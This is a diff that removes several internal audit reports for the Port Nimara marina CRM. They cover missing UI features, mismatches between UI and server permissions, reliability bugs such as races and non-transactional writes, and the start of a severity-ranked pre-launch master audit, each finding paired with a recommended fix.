- `documents` — exists as a top-level page (separate from the bottom
|
||||
tab `documents`, which IS in mobile-bottom-tabs)
|
||||
- `website-analytics` — exists at `/[portSlug]/website-analytics/...`
|
||||
|
||||
A mobile-only user has no path to any of them. The Documents bottom
|
||||
tab does cover the doc list, but residential is an entire feature
|
||||
domain (per the `(dashboard)/.../residential` directory) with no
|
||||
mobile entry point.
|
||||
|
||||
**Impact:** anyone using the mobile chrome to triage on the go can't
|
||||
reach residential clients/interests, alerts (`alerts` IS in the
|
||||
sheet), or notifications.
|
||||
|
||||
**Fix:** add the missing segments to `MORE_ITEMS`. If the grid feels
|
||||
too dense, reorganize into sections.
|
||||
|
||||
**Scope:** small.
|
||||
|
||||
---
|
||||
|
||||
### V10. Portal has no "Profile" / "Change password" surface
|
||||
|
||||
**Files:**
|
||||
|
||||
- `src/components/portal/portal-nav.tsx:8-15` — six tabs, no profile.
|
||||
- Filesystem: no `src/app/(portal)/portal/profile/` directory.
|
||||
|
||||
A portal user who wants to change their email, phone, mailing address,
|
||||
or password has no UI. The portal sign-in flow goes through the
|
||||
better-auth session but the app exposes zero account-management
|
||||
controls. The "Need assistance?" card on the dashboard tells the user
|
||||
to contact the port team — which is the explicit answer for data
|
||||
edits, but does not cover password changes (a security expectation,
|
||||
not a per-port-staff burden).
|
||||
|
||||
**Impact:** every portal user who forgets their password (after
|
||||
already activating) has to use `/portal/forgot-password` even if they
|
||||
remember the old one. There's no proactive password rotation. A user
|
||||
who changes their phone number has to email the port to update it.
|
||||
|
||||
**Fix:** ship `/portal/profile` with at minimum: read-only PII view +
|
||||
"Change password" form (re-uses the existing reset-password endpoint
|
||||
or a new `change-password` endpoint that takes the current pw).
|
||||
Phone/address editing is a longer fix because of the audit-trail
|
||||
implications.
|
||||
|
||||
**Scope:** small for password; medium with PII edits.
|
||||
|
||||
---
|
||||
|
||||
### V11. Portal invoices page lists invoices but offers no view/download — even though documents do
|
||||
|
||||
**File:** `src/app/(portal)/portal/invoices/page.tsx:53-99`
|
||||
|
||||
Each invoice row shows number, status, due/paid dates, amount, and a
|
||||
small payment-status caption. There is no link, no PDF view, no
|
||||
download. By contrast, the portal Documents page (peer route) ends
|
||||
each row with a `<DocumentDownloadButton documentId={doc.id} />` that
|
||||
fetches a signed S3 URL.
|
||||
|
||||
Compare to admin/CRM where invoices have a full PDF render flow
|
||||
(invoice service generates the PDF + signed URL).
|
||||
|
||||
**Impact:** a portal user can see they owe money and cannot retrieve
|
||||
the actual invoice document. They have to email the port to ask for a
|
||||
PDF copy.
|
||||
|
||||
**Fix:** add an invoice-PDF endpoint under `/api/portal/invoices/[id]/
|
||||
download` mirroring the documents one, and a download button on each
|
||||
row. The invoice PDF generator already exists (`src/lib/services/
|
||||
invoices.ts`).
|
||||
|
||||
**Scope:** small.
|
||||
|
||||
---
|
||||
|
||||
## DEV-NOTES (legitimately staged-for-later, calling out so they're not forgotten)
|
||||
|
||||
### V12. Email-templates admin only edits subject lines — body editing is a documented "next iteration"
|
||||
|
||||
**Files:**
|
||||
|
||||
- `src/components/admin/email-templates-admin.tsx:78-79` —
|
||||
"Customize the subject line of transactional emails per port. Body
|
||||
editing is the next iteration; for now the layout and HTML stay
|
||||
locked to the default template."
|
||||
- `src/lib/email/template-catalog.ts:5-9` — same statement in the
|
||||
catalog header.
|
||||
|
||||
The page is honest about the limitation, so this isn't a "broken"
|
||||
finding. But it's a notable shipped-without-the-killer-feature gap:
|
||||
the multi-tenant promise of per-port email customization can't deliver
|
||||
the body changes that ports actually want (logo placement, signature,
|
||||
language). Combined with V2 (branding HTML fragments aren't read at
|
||||
all), there is currently NO way for a non-super-admin per-port admin
|
||||
to customize the email body in any way.
|
||||
|
||||
**Impact:** confined to admin expectations — most ports will assume
|
||||
"Email templates" = "edit the email", click in, see only a subject
|
||||
field, and request the missing body editor.
|
||||
|
||||
**Fix:** scope a body-editing flow that reuses the
|
||||
`merge_fields.ts` token catalog (the validator already exists for
|
||||
document templates) for safety. Until that's built, V2 + this finding
|
||||
together mean a "rebrand the emails" task is single-tenant only.
|
||||
|
||||
**Scope:** large (HTML editor + token validator + per-port override
|
||||
storage + render-side composition).
|
||||
|
||||
---
|
||||
|
||||
## Summary
|
||||
|
||||
12 findings, four severity tiers:
|
||||
|
||||
- **Visible-broken (V1-V5):** five admin/portal controls produce no
|
||||
effect. V1 (email overrides) and V2 (branding) are the highest
|
||||
impact — both silently break the multi-tenant promise.
|
||||
- **Half-wired (V6-V8):** three pages where the surrounding wrapper
|
||||
oversells what's there. V8 (inquiry inbox) is the largest scope.
|
||||
- **Mobile parity (V9-V11):** mobile users can't reach several real
|
||||
features; portal users have no profile/password surface and can't
|
||||
download invoices.
|
||||
- **Dev-notes (V12):** documented limitations called out for the
|
||||
roadmap.
|
||||
|
||||
The two highest-leverage quick wins are **V1** (wire 6 missing
|
||||
template subject overrides — a few hours) and **V11** (portal invoice
|
||||
download — small, fixes a real customer pain point).
|
||||
@@ -1,266 +0,0 @@
|
||||
# Per-role permission audit — 2026-05-06
|
||||
|
||||
Focused review of UI/server permission divergence on the new endpoints
|
||||
shipped during the smart-archive / hard-delete / bulk-wizard /
|
||||
external-EOI / webhook-replay work bundle. Skips items already covered
|
||||
in `docs/audit-comprehensive-2026-05-06.md` (audit-log gating H6,
|
||||
residential_partner sidebar nav).
|
||||
|
||||
The pattern hunted for: `<PermissionGate>` (or `usePermissions().can`)
|
||||
on the UI side hides a control under permission **X**, while the
|
||||
matching API route gates on permission **Y** (or doesn't gate at all,
|
||||
or gates strictly — producing 403 toast spam for users who can see the
|
||||
button but can't use it).
|
||||
|
||||
Scope: 8 routes + 5 components + the seed permission matrix. Hard cap
|
||||
of 10 findings, ranked by impact. Critical/High/Medium/Low.
|
||||
|
||||
---
|
||||
|
||||
## CRITICAL
|
||||
|
||||
_None._ The four new hard-delete endpoints all gate on
|
||||
`admin.permanently_delete_clients` on both layers (UI hides the button
|
||||
via `<PermissionGate resource="admin" action="permanently_delete_clients">`
|
||||
in `client-detail-header.tsx:162` and via `canHardDelete = can('admin',
|
||||
'permanently_delete_clients')` in `client-list.tsx:53`; the four routes
|
||||
all wrap with `withPermission('admin', 'permanently_delete_clients', …)`).
|
||||
The webhook-replay route gates on `admin.manage_webhooks` — see H1 below
|
||||
for the matching UI gap.
|
||||
|
||||
---
|
||||
|
||||
## HIGH
|
||||
|
||||
### H1. Webhook replay button has no UI permission gate (403 toast for non-admins)
|
||||
|
||||
- **UI:** `src/components/admin/webhooks/webhook-delivery-log.tsx:118-131`
|
||||
— the Replay `<Button>` renders for any user who can load the page,
|
||||
with no `<PermissionGate>` wrapper and no `usePermissions().can('admin',
|
||||
'manage_webhooks')` check.
|
||||
- **Server:** `src/app/api/v1/admin/webhooks/[webhookId]/deliveries/[deliveryId]/redeliver/route.ts:15`
|
||||
— `withPermission('admin', 'manage_webhooks', …)`.
|
||||
|
||||
**Divergence:** A `sales_manager` / `sales_agent` / `viewer` who
|
||||
somehow lands on `/admin/webhooks/{id}` (e.g. via a deep link from a
|
||||
shared message) sees enabled Replay buttons. Clicking surfaces a
|
||||
generic 403 toast — the user has no signal that the action is
|
||||
restricted, just that "Replay failed".
|
||||
|
||||
**Fix:** wrap the Replay `<Button>` in
|
||||
`<PermissionGate resource="admin" action="manage_webhooks">…</PermissionGate>`,
|
||||
or skip rendering the entire "Replay" column when
|
||||
`!can('admin', 'manage_webhooks')`. The page-level guard on
|
||||
`/admin/webhooks` should prevent non-admins from reaching the route in
|
||||
the first place, but defense-in-depth is cheap and the toast UX is
|
||||
poor.
|
||||
|
||||
---
|
||||
|
||||
### H2. Bulk-archive bulk action exposed to roles without `clients.delete`
|
||||
|
||||
- **UI:** `src/components/clients/client-list.tsx:182-190` — the
|
||||
"Archive" entry in `bulkActions` is unconditionally rendered (only
|
||||
the "Permanently delete" entry checks `canHardDelete`).
|
||||
- **Server:** `src/app/api/v1/clients/bulk/route.ts:40-57` — gates
|
||||
`archive` action on `clients.delete`. Also
|
||||
`src/app/api/v1/clients/bulk-archive-preflight/route.ts:30` —
|
||||
`withPermission('clients', 'delete', …)`.
|
||||
|
||||
**Divergence:** `sales_agent` (`clients.delete:false`,
|
||||
seed-permissions.ts:246) and `viewer` (`clients.delete:false`,
|
||||
seed-permissions.ts:323) both see the Archive bulk action. Selecting
|
||||
clients and pressing it fires the `BulkArchiveWizard`, which calls
|
||||
`bulk-archive-preflight` (returns 403) followed by `bulk` archive
|
||||
(also 403). The wizard surfaces this as an opaque error.
|
||||
|
||||
**Fix:** mirror the `canHardDelete` pattern — compute
|
||||
`const canBulkArchive = can('clients', 'delete');` near
|
||||
`client-list.tsx:53` and conditionally include the Archive entry.
|
||||
|
||||
---
|
||||
|
||||
### H3. Bulk add_tag / remove_tag exposed to viewer (clients.edit:false)
|
||||
|
||||
- **UI:** `src/components/clients/client-list.tsx:165-181` — the "Add
|
||||
tag" / "Remove tag" bulk actions render with no permission check.
|
||||
- **Server:** `src/app/api/v1/clients/bulk/route.ts:40-57` — both gate
|
||||
on `clients.edit`.
|
||||
|
||||
**Divergence:** A `viewer` can multi-select rows, click "Add tag" or
|
||||
"Remove tag", pick a tag in the dialog, hit "Apply", and receive a 403. The standalone bulk tag dialog has no inline gating to prevent
|
||||
this.
|
||||
|
||||
**Fix:** the bulk action menu entries should gate on
|
||||
`can('clients', 'edit')`. (Sales agent and above pass; only `viewer`
|
||||
and `residential_partner` see the bug.)
|
||||
|
||||
---
|
||||
|
||||
### H4. `client-merge-log.surviving_client_id` enforcement absent from per-row port check on bulk hard-delete
|
||||
|
||||
- **Server:** `src/lib/services/client-hard-delete.service.ts:269-272`
|
||||
|
||||
The bulk preflight loads **every** row in the port
|
||||
(`db.select(...).from(clients).where(eq(clients.portId, args.portId))`)
|
||||
into memory, then validates the requested `clientIds` against that map.
|
||||
That's correct for tenant isolation — a foreign-port id can't appear in
|
||||
the map — but the inner loop at lines 364-389 then re-fetches each
|
||||
client by `(id, portId)` and **silently skips** rows where the second
|
||||
fetch returns nothing (line 377: `if (!c) continue;`). If a client is
|
||||
archived between preflight and execute by another operator, the bulk
|
||||
delete reports `deletedCount` lower than the requested set with no
|
||||
error — the operator has no way to tell which ids were skipped.
|
||||
|
||||
**Divergence (perm-adjacent):** the per-row gate is enforced for
|
||||
tenancy but the failure mode masquerades as success. Combined with
|
||||
the route's all-or-nothing `withPermission` at the top, a
|
||||
`permanently_delete_clients`-bearing operator can quietly under-delete.
|
||||
|
||||
**Fix:** when `c` is null, push the id into a `skipped: string[]`
|
||||
array and return it in the response so the UI can surface "3
|
||||
deleted, 1 skipped (not archived / removed by another user)".
|
||||
|
||||
---
|
||||
|
||||
## MEDIUM
|
||||
|
||||
### M1. `external-eoi` upload allows any role with `documents.upload_signed` regardless of `interests.edit`
|
||||
|
||||
- **UI:** `src/components/interests/interest-detail-header.tsx:382-395`
|
||||
— `<PermissionGate resource="documents" action="upload_signed">`.
|
||||
- **Server:** `src/app/api/v1/interests/[id]/external-eoi/route.ts:8`
|
||||
— `withPermission('documents', 'upload_signed', …)`.
|
||||
|
||||
**Divergence:** UI and server agree on the permission, but the seed
|
||||
matrix has `documents.upload_signed:true` for `sales_agent` (line 264) AND any custom role with that flag — uploading an externally
|
||||
signed EOI mutates the **interest** (it's the operative `signedDocument`
|
||||
that flips the interest into a "signed" state inside
|
||||
`uploadExternallySignedEoi`). The user only needs `documents.upload_signed`,
|
||||
not `interests.edit`. A custom role with `documents.upload_signed:true`
|
||||
|
||||
- `interests.edit:false` can mutate the interest's effective state.
|
||||
|
||||
**Fix:** add a second gate inside the route handler:
|
||||
`if (!ctx.isSuperAdmin && !ctx.permissions?.interests?.edit) throw new ForbiddenError(...)`.
|
||||
Rationale: signing a doc against an interest is an interest-state
|
||||
change, not just a document upload. Mirror the same check in
|
||||
`<PermissionGate>` (use `<PermissionGate resource="interests" action="edit">`
|
||||
nested inside the `documents.upload_signed` gate).
|
||||
|
||||
---
|
||||
|
||||
### M2. `change_stage` UI doesn't expose override checkbox in `InlineStagePicker` — server still accepts override
|
||||
|
||||
- **UI:** `src/components/interests/inline-stage-picker.tsx:52-58` —
|
||||
the inline picker (used in the detail header at
|
||||
`interest-detail-header.tsx:221`) sends only
|
||||
`{ pipelineStage, reason }` and never sets `override:true`. Users
|
||||
with `override_stage` get no UI affordance to actually use the
|
||||
permission from the inline picker; they have to open the modal
|
||||
`InterestStagePicker` (which does expose the checkbox at line 137).
|
||||
Worse, when a user picks a stage that isn't a legal forward
|
||||
transition, the inline picker just shows the toast from the server's
|
||||
`ConflictError` — instead of "you need override; toggle this box".
|
||||
- **Server:** `src/app/api/v1/interests/[id]/stage/route.ts:14-22` —
|
||||
reads `body.override` and re-checks `interests.override_stage`
|
||||
permission.
|
||||
|
||||
**Divergence:** UI and permission map diverge in the affordance, not
|
||||
the gate. End-result: the `override_stage` permission is partially
|
||||
unreachable from the inline picker. Sales managers / agents can
|
||||
override only via the modal picker.
|
||||
|
||||
**Fix:** when the inline picker sees a transition that isn't allowed
|
||||
by `canTransitionStage(currentStage, newStage)`, check
|
||||
`can('interests', 'override_stage')` and either auto-set
|
||||
`override:true` (with a confirmation) or surface a "Use override"
|
||||
secondary action. Keep the inline picker UX; just don't let the
|
||||
override permission be silently inaccessible from the most-used
|
||||
path.
|
||||
|
||||
---
|
||||
|
||||
### M3. `sales_agent` granted `interests.override_stage:true` — possible copy-paste from sales_manager
|
||||
|
||||
- **Seed:** `src/lib/db/seed-permissions.ts:253` — `SALES_AGENT_PERMISSIONS.interests.override_stage = true`.
|
||||
|
||||
This is identical to `SALES_MANAGER_PERMISSIONS.interests.override_stage = true`
|
||||
at line 176. The same `sales_agent` block has `delete:false` for
|
||||
clients/interests/yachts/companies/files/etc — all the other
|
||||
"trust-elevated" flags are explicitly stripped from sales_agent. The
|
||||
ability to bypass the pipeline-stage transition table is a meaningful
|
||||
trust elevation: it lets an agent skip prerequisites (e.g. mark an
|
||||
interest as `eoi_signed` without an actual signed doc) which has
|
||||
downstream implications for the public berths feed (`Under Offer`
|
||||
status), the recommender's tier ladder, and the EOI bundle.
|
||||
|
||||
**Divergence:** likely intent vs. permission map. Worth confirming
|
||||
with a product owner; if intentional, leave a code comment. If
|
||||
unintentional, flip to `false`.
|
||||
|
||||
**Fix:** product decision. If demoted, also update
|
||||
`src/components/admin/roles/role-form.tsx → DEFAULT_PERMISSIONS`
|
||||
(noted in the file header at seed-permissions.ts:9) so the UI
|
||||
default for new roles matches.
|
||||
|
||||
---
|
||||
|
||||
### M4. `bulk-archive-preflight` returns dossier even when client is in another port (defense-in-depth)
|
||||
|
||||
- **Server:** `src/app/api/v1/clients/bulk-archive-preflight/route.ts:33-62`
|
||||
|
||||
The route loops through `ids` and calls `getClientArchiveDossier(id, ctx.portId)`
|
||||
for each. If a `clientId` belongs to another port, `getClientArchiveDossier`
|
||||
throws and the route catches it (line 52-61) and returns a fallback row
|
||||
with `blockers: ['<error message>']`. This leaks **the existence of an
|
||||
unknown client id** — an attacker enumerating UUIDs can distinguish
|
||||
"client doesn't exist" from "client exists but you can't see it" by
|
||||
parsing the blocker text. The bulk hard-delete route has the same
|
||||
shape but returns `NotFoundError`.
|
||||
|
||||
**Divergence (perm-adjacent):** the preflight route doesn't enforce a
|
||||
per-id port check before falling through to the dossier service, and
|
||||
the catch block leaks the failure mode in the response.
|
||||
|
||||
**Fix:** in the catch block, replace the dossier error message with a
|
||||
generic `'Could not load dossier'` blocker. The operator already
|
||||
selected these ids so they know the count; they don't need the inner
|
||||
error.
|
||||
|
||||
---
|
||||
|
||||
## LOW
|
||||
|
||||
### L1. `external-eoi` route doesn't enforce `interests.edit` defense-in-depth on the interest port
|
||||
|
||||
- **Server:** `src/app/api/v1/interests/[id]/external-eoi/route.ts:8-14`
|
||||
|
||||
The route receives `interestId` from the URL and passes it +
|
||||
`ctx.portId` into `uploadExternallySignedEoi`. The service is
|
||||
expected to enforce port isolation, but the route itself does no
|
||||
upfront `(interestId, portId)` existence check before reading the
|
||||
multipart body — meaning a cross-port id will fully process the
|
||||
upload (read the file into memory) before the service rejects.
|
||||
|
||||
**Divergence:** not strictly a permission divergence; it's resource
|
||||
waste from missing early port-ownership check. Low because the
|
||||
service-level reject does close the security hole.
|
||||
|
||||
**Fix:** add a one-row `select` on `interests` matching `id` + `portId`
|
||||
before parsing form data, throw `NotFoundError` on miss.
|
||||
|
||||
---
|
||||
|
||||
## Summary
|
||||
|
||||
- 0 critical
|
||||
- 4 high (H1–H4)
|
||||
- 4 medium (M1–M4)
|
||||
- 1 low (L1)
|
||||
|
||||
Top recommendation: H1 (webhook-replay UI gate) is a
|
||||
ten-line fix that closes a 403-toast UX bug. H2 + H3 (bulk-archive +
|
||||
bulk-tag UI gates) are also trivial and remove the same class of bug
|
||||
across the bulk actions menu. M3 (sales_agent override_stage) needs a
|
||||
product decision, not code; flag it before shipping the audit.
|
||||
@@ -1,220 +0,0 @@
|
||||
# Reliability audit — 2026-05-06 (focused, post-batch deltas)
|
||||
|
||||
Scope: NEW services from the recent archive/restore/hard-delete/external-EOI batches.
|
||||
Out of scope (already covered in `docs/audit-comprehensive-2026-05-06.md`):
|
||||
worker imports, rate limits, hard-delete error message UX, smart-restore
|
||||
dead reversal applier, bulk hard-delete redis loop, audit log spam.
|
||||
|
||||
---
|
||||
|
||||
## Critical
|
||||
|
||||
### C1. Bulk archive enqueues zero post-commit side effects
|
||||
|
||||
- **File:** `src/app/api/v1/clients/bulk/route.ts:68-134`
|
||||
- **Scenario:** When the bulk wizard archives 100 clients with high-stakes
|
||||
reasons, `archiveClientWithDecisions` returns `externalCleanups` and
|
||||
`releasedBerths` arrays per-client, but `runBulk` discards the return
|
||||
value. Documenso envelopes that the wizard marked `void_documenso`
|
||||
never get queued, and "next-in-line" notifications never fire. The
|
||||
database is left in `documents.status='cancelled'` with the live
|
||||
Documenso envelope still out for signature — the signer can complete
|
||||
a legally-binding envelope that the CRM thinks is voided.
|
||||
- **Fix:** Make the per-row callback return the result, then loop over
|
||||
`results` after `runBulk` to enqueue Documenso voids and fire
|
||||
next-in-line notifications (mirroring the single-client route).
|
||||
Defaulting `documentDecisions` to `'leave'` (line 113-116) hides the
|
||||
symptom for the bulk wizard but isn't enough — the single-client
|
||||
service can still surface this if the bulk path is ever generalized.
|
||||
|
||||
---
|
||||
|
||||
## High
|
||||
|
||||
### H1. Restore wizard silently drops every released berth
|
||||
|
||||
- **File:** `src/lib/services/client-restore.service.ts:359-372`
|
||||
- **Scenario:** `applyReversal` for `berth_released` is a no-op with a
|
||||
comment saying "v1 leaves the berth available". But the dossier (line
|
||||
122-129) classifies these as `autoReversible` and the UI tells the
|
||||
operator "still available — re-attaching to the restored client". The
|
||||
wizard increments `autoReversed` and the audit log records a
|
||||
successful auto-reverse — but nothing actually happens. Operator
|
||||
thinks restore re-linked their berth; it didn't.
|
||||
- **Fix:** Either (a) actually re-link by persisting the original
|
||||
`interestId` in the `berth_released` decision detail (it's already
|
||||
there, line 211) and re-inserting an `interestBerths` row + flipping
|
||||
the berth status back to `under_offer`, or (b) reclassify these as
|
||||
`reversibleWithPrompt` with copy that says "berth left available —
|
||||
re-add via the interest detail page".
|
||||
|
||||
### H2. Smart-archive berth status update has TOCTOU race
|
||||
|
||||
- **File:** `src/lib/services/client-archive.service.ts:191-207`
|
||||
- **Scenario:** Berth row is read via `dossier.berths` (read outside the
|
||||
tx) and modified inside the tx without a `for update` lock on
|
||||
`berths`. Two concurrent flows — e.g. operator A archives client X
|
||||
while operator B sells berth A1 to client Y — can race: A reads
|
||||
`berth.status === 'sold' → false`, B's tx commits sold, A's tx then
|
||||
flips it back to `available`. The "still under offer" subselect
|
||||
doesn't catch this because berth.status is the source of truth, not
|
||||
interest_berths.
|
||||
- **Fix:** Add `tx.select(...).from(berths).where(eq(berths.id, d.berthId)).for('update')`
|
||||
before the status flip and re-check `status !== 'sold'` against the
|
||||
locked row.
|
||||
|
||||
### H3. Bulk archive can pick the wrong interest for berth release
|
||||
|
||||
- **File:** `src/app/api/v1/clients/bulk/route.ts:95-103`
|
||||
- **Scenario:** When a client has multiple interests linked to the same
|
||||
berth, the bulk wizard picks `dossier.interests.find((i) =>
|
||||
i.primaryBerthMooring === b.mooringNumber)` and falls back to
|
||||
`dossier.interests[0]?.interestId ?? ''`. The fallback to the
|
||||
first-interest-or-empty-string can hand `archiveClientWithDecisions`
|
||||
an `interestId` that was never linked to that berth — so the
|
||||
`delete from interest_berths where berthId=… and interestId=…`
|
||||
matches zero rows and the link is silently retained. Worse: an empty
|
||||
string `''` reaches the delete, which still matches zero rows but
|
||||
leaves the berth status check believing the link was removed.
|
||||
- **Fix:** Build the berth→interest map from `interestBerthRows` (the
|
||||
authoritative join) rather than guessing by `primaryBerthMooring`,
|
||||
and skip berths with no resolvable interest rather than emitting an
|
||||
empty-string interestId.
|
||||
|
||||
### H4. External EOI runs four writes outside a transaction
|
||||
|
||||
- **File:** `src/lib/services/external-eoi.service.ts:67-155`
|
||||
- **Scenario:** `getStorageBackend().put()`, `files.insert`,
|
||||
`documents.insert`, `documentEvents.insert`, and the interests
|
||||
update happen as five independent operations. If any one fails after
|
||||
the storage upload, you're left with an orphan PDF in S3/MinIO and
|
||||
partial DB state. If the documents insert fails after the file
|
||||
insert, the file row points to a storage key with no document
|
||||
referencing it — and the interest never advances.
|
||||
- **Fix:** Wrap files/documents/documentEvents/interests in a single
|
||||
`db.transaction`. Storage upload stays outside (S3 isn't
|
||||
transactional) but on tx failure, schedule a cleanup job that deletes
|
||||
the orphan storage object, or accept the orphan and add a janitor.
|
||||
|
||||
### H5. Bulk wizard double-submit re-archives the same client and racy errors
|
||||
|
||||
- **File:** `src/app/api/v1/clients/bulk/route.ts:68-120` +
|
||||
`src/lib/services/client-archive.service.ts:165-173`
|
||||
- **Scenario:** The single-client `archiveClientWithDecisions` locks
|
||||
the row and throws `ConflictError('Client is already archived')` on
|
||||
re-entry — good. But `runBulk` swallows the error string and returns
|
||||
it as `{ok:false, error:"Client is already archived"}` for that
|
||||
client. If the bulk wizard double-submits (network retry, double
|
||||
click), partial successes from the first request now look like
|
||||
per-client failures in the response, confusing the operator. There's
|
||||
no idempotency key on the bulk submit.
|
||||
- **Fix:** Treat `ConflictError('already archived')` as success in the
|
||||
bulk per-row handler (the desired end state is reached). Or add an
|
||||
idempotency-key header on the bulk endpoint that short-circuits a
|
||||
duplicate request with the cached response.
|
||||
|
||||
---
|
||||
|
||||
## Medium
|
||||
|
||||
### M1. Hard-delete `clientMergeLog.surviving_client_id` deletes audit history
|
||||
|
||||
- **File:** `src/lib/services/client-hard-delete.service.ts:209`
|
||||
- **Scenario:** The comment says "merged records remain in the log
|
||||
because mergedClientId has no FK", but the delete is wider than
|
||||
needed: it removes every merge-log row where this client was the
|
||||
survivor. If client X (being deleted) previously absorbed clients
|
||||
A/B/C, the audit trail of those merges is lost on X's deletion. The
|
||||
surviving rows that remain (`mergedClientId = X`) are now
|
||||
inconsistent — they reference a survivor that no longer exists.
|
||||
- **Fix:** Either preserve the survivor rows by setting
|
||||
`surviving_client_id = NULL` (requires column nullable) or keep the
|
||||
current behavior but document it more visibly. At minimum, log the
|
||||
deleted merge-log row count so operators can investigate gaps.
|
||||
|
||||
### M2. Documenso void worker has no max-retry guard for non-404 errors
|
||||
|
||||
- **File:** `src/lib/queue/workers/documents.ts:19-37`
|
||||
- **Scenario:** `voidDocument` throws `CodedError` on non-404 failures
|
||||
(auth error, network blip, Documenso 500). BullMQ retries with
|
||||
backoff, but there's no per-job idempotency check — the second
|
||||
retry hits the same envelope, voidDocument's 404 short-circuit only
|
||||
kicks in if Documenso has actually voided it on the first retry
|
||||
before the API call returned an error. A persistent 401 / 403 will
|
||||
retry forever (until BullMQ exhausts attempts) and the documents row
|
||||
stays `cancelled` in the CRM with the envelope still live in
|
||||
Documenso. The DLQ is mentioned in the comment but the worker
|
||||
doesn't surface a DLQ alert hook.
|
||||
- **Fix:** On exhaustion, write back to `documents` (e.g.
|
||||
`cancellation_failed=true`) and emit an admin notification so the
|
||||
envelope can be voided manually.
|
||||
|
||||
### M3. Next-in-line notification fan-out unhandled rejection
|
||||
|
||||
- **File:** `src/lib/services/next-in-line-notify.service.ts:75-87`
|
||||
- **Scenario:** Each `void createNotification(...)` is a fire-and-forget
|
||||
promise with no `.catch` handler. If `notifications.service`
|
||||
dispatches to a DB that's transiently down, the unhandled rejection
|
||||
will surface in the Node process with no recipient context (the
|
||||
closure captured `userId` is in the stack but pino won't include it
|
||||
unless explicitly logged). Process-level handlers will log it but
|
||||
individual recipients silently lose their notification.
|
||||
- **Fix:** `.catch((err) => logger.warn({err, userId, berthId:
|
||||
input.berthId}, 'next-in-line notification failed'))`.
|
||||
|
||||
### M4. Restore service uses `any` for transaction type
|
||||
|
||||
- **File:** `src/lib/services/client-restore.service.ts:354-355`
|
||||
- **Scenario:** `applyReversal(tx: any, ...)` defeats Drizzle's type
|
||||
safety. A future schema rename (e.g. `yachts.status` enum change)
|
||||
won't fail at compile time inside this function. Combined with the
|
||||
documented v1 no-op for `berth_released`, the function looks
|
||||
innocuous but carries the most risk.
|
||||
- **Fix:** Use the proper Drizzle tx type — `Parameters<Parameters<typeof
|
||||
db.transaction>[0]>[0]` or a named type alias from
|
||||
`@/lib/db/types.ts` if one exists.
|
||||
|
||||
### M5. interests.changeInterestStage milestones write outside tx
|
||||
|
||||
- **File:** `src/lib/services/interests.service.ts:630-648`
|
||||
- **Scenario:** The override path (and normal path) writes
|
||||
`pipelineStage` in one update and milestone fields
|
||||
(`dateEoiSent`, `dateContractSigned`, etc.) in a second update. If
|
||||
the process crashes between the two, the stage advances but the
|
||||
milestone is never recorded. Funnel/conversion math then under-
|
||||
counts that interest. Over-the-wire this is rare but the audit log
|
||||
fires before the milestone update succeeds, so the audit trail
|
||||
claims a complete transition that's actually half-applied.
|
||||
- **Fix:** Combine both into a single update statement, computing the
|
||||
milestone fields in JS and merging them into the `set({...})` clause.
|
||||
|
||||
---
|
||||
|
||||
## Low
|
||||
|
||||
### L1. Smart-archive coalesces invoice notes via SQL string concat
|
||||
|
||||
- **File:** `src/lib/services/client-archive.service.ts:288-291`
|
||||
- **Scenario:** `notes: sql\`coalesce(${invoices.notes}, '') || ${...}\``embeds`new Date().toISOString()`and the action label inside a
|
||||
parameterized string. The values are bound, so it's not an injection
|
||||
risk, but the`\n[archive ...]` marker is appended unconditionally —
|
||||
re-running the archive on a not-yet-committed client would double
|
||||
the marker. Combined with H5 (no idempotency on bulk), a retry could
|
||||
bloat invoice notes with duplicate markers.
|
||||
- **Fix:** Append only when the marker isn't already present, or rely
|
||||
on the `clients.archivedAt is null` precheck (which already guards
|
||||
re-entry) and accept the duplicate as theoretically impossible.
|
||||
|
||||
### L2. Hard-delete `requestHardDeleteCode` reveals client existence pre-archive
|
||||
|
||||
- **File:** `src/lib/services/client-hard-delete.service.ts:77-85`
|
||||
- **Scenario:** A user without `admin.permanently_delete_clients`
|
||||
shouldn't reach this service, so this is theoretical, but the
|
||||
ConflictError "Client must be archived" leaks the existence of an
|
||||
unarchived client to anyone who can reach the route. The audit doc
|
||||
flagged hard-delete error messages already (out of scope), but this
|
||||
specific error path isn't covered there.
|
||||
- **Fix:** Same as the audit-doc finding for the symmetric path —
|
||||
return a generic `NotFoundError` instead of distinguishing
|
||||
"not found" from "not archived" externally; log the distinction
|
||||
internally only.
|
||||
@@ -1,697 +0,0 @@
|
||||
<!--
|
||||
Port Nimara CRM — Pre-launch audit, complete.
|
||||
Provenance: pass 1 (wf_70a35b83-ab0, 2 lanes) + file-IDOR smoke test
|
||||
+ pass 2 (wf_f37b6f89-70a, 17 prose lanes; 6 completed, 11 rate-limited)
|
||||
+ pass 3 (wf_e8cfef3c-d55, the 12 rate-limited lanes re-run in batches of 3)
|
||||
+ a final reconciliation pass that deduped passes 1-2 and 3 into this single report.
|
||||
All 17 risk lanes now have coverage. Initiative: launch-readiness Initiative 2.
|
||||
Status: COMPLETE — findings below are pre-fix; nothing has been remediated yet.
|
||||
Severity-sorted; [needs-confirm] tags preserved for findings whose source lane
|
||||
self-rated low confidence or whose reasoning needs a direct trace before fixing.
|
||||
-->
|
||||
|
||||
# Port Nimara CRM — Unified Master Audit Report
|
||||
|
||||
_Consolidation of pass 1+2 (`audit-master.md`) and pass 3 (`audit-pass3-master.md`). Findings are merged and deduped, then renumbered sequentially within each severity tier. No new findings were introduced; every distinct source finding is preserved._
|
||||
|
||||
---
|
||||
|
||||
## 1. Executive Summary
|
||||
|
||||
This unified report combines two audit synthesis passes covering all 17 lanes plus the pass-1 routing/API confirmation set. Pass 1+2 completed 6 lanes (financial, cross-entity, import, webhook, residential/tenancies, plus pass-1 routing/API) and rate-limited the other 11; pass 3 re-ran those 11 (plus an additional surface) and returned findings. Together they give full lane coverage.
|
||||
|
||||
The dominant theme across both passes is **server-side enforcement and money/state-correctness gaps that the UI papers over**: a deposit gate that compares across currencies _and_ auto-marks berths Sold, a disabled module that still accepts writes, berth-rule triggers that flip inventory to "Sold" on lost/cancelled deals, an SSRF allowlist defeated by HTTP redirects, client-merge that silently drops payments/ownership, and several rate limiters defined but never applied. Almost none require cross-tenant access to exploit; most are reachable by an ordinary authed user or admin within their own port (cross-tenant impact mostly latent until a second port is provisioned).
|
||||
|
||||
### Counts by severity (true deduped)
|
||||
|
||||
| Severity | Count |
|
||||
| --------- | ------------------------ |
|
||||
| CRITICAL | 4 |
|
||||
| HIGH | 17 |
|
||||
| MEDIUM | 29 |
|
||||
| LOW | 35 |
|
||||
| **Total** | **85 distinct findings** |
|
||||
|
||||
